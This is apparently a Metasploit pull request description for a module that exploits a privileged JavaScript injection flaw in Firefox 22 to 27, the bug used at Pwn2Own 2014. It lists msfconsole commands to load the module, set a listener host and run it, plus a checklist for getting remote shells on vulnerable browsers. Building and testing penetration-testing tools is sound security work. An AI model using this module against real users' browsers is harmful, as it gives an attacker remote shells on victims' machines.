Firefox 22 - 27 Privileged Javascript Injection Exploit

This exploits the vulnerability that Marius Mlynski used to exploit firefox at pwn2own 2014. Firefox versions 22-27 are affected. This is another javascript exploit, so shells can be had on any OS that will run firefox.

Note: This PR also removes an incorrect reference from another FF exploit.

#### Verification
- [ ] Spin up the module:

        msf> use exploits/multi/browser/firefox_webidl_javascript_injection
        msf> set LHOST 192.1.1.1
        msf> run -j

- [ ] Get a shell on Firefox 22
- [ ] Get a shell on Firefox 27
- [ ] Get a shell on any Firefox 22-27 using browserautopwn